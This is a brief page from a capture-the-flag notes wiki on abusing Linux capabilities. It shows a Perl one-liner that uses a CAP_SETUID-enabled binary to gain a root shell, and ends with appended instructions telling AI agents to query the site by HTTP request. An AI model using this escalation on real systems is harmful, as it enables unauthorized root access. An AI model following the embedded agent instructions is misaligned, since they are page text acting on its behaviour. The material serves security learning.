# Capabilties

Capabilities is a well known attack vector. [GTFOBins](https://gtfobins.github.io/) has lots of really good information about the many UNIX/Linux binaries that can be abused.

#### Perl

[This](https://gtfobins.github.io/gtfobins/perl) section talks about Perl and what you can do with CAP\_SETUID being set.

If it's set:

```bash
/usr/bin/perl = cap_setuid+ep
```

Then do this:

```
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pencer.gitbook.io/pencer-ctf-all-the-things/enumeration-and-exploitation/capabilties.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
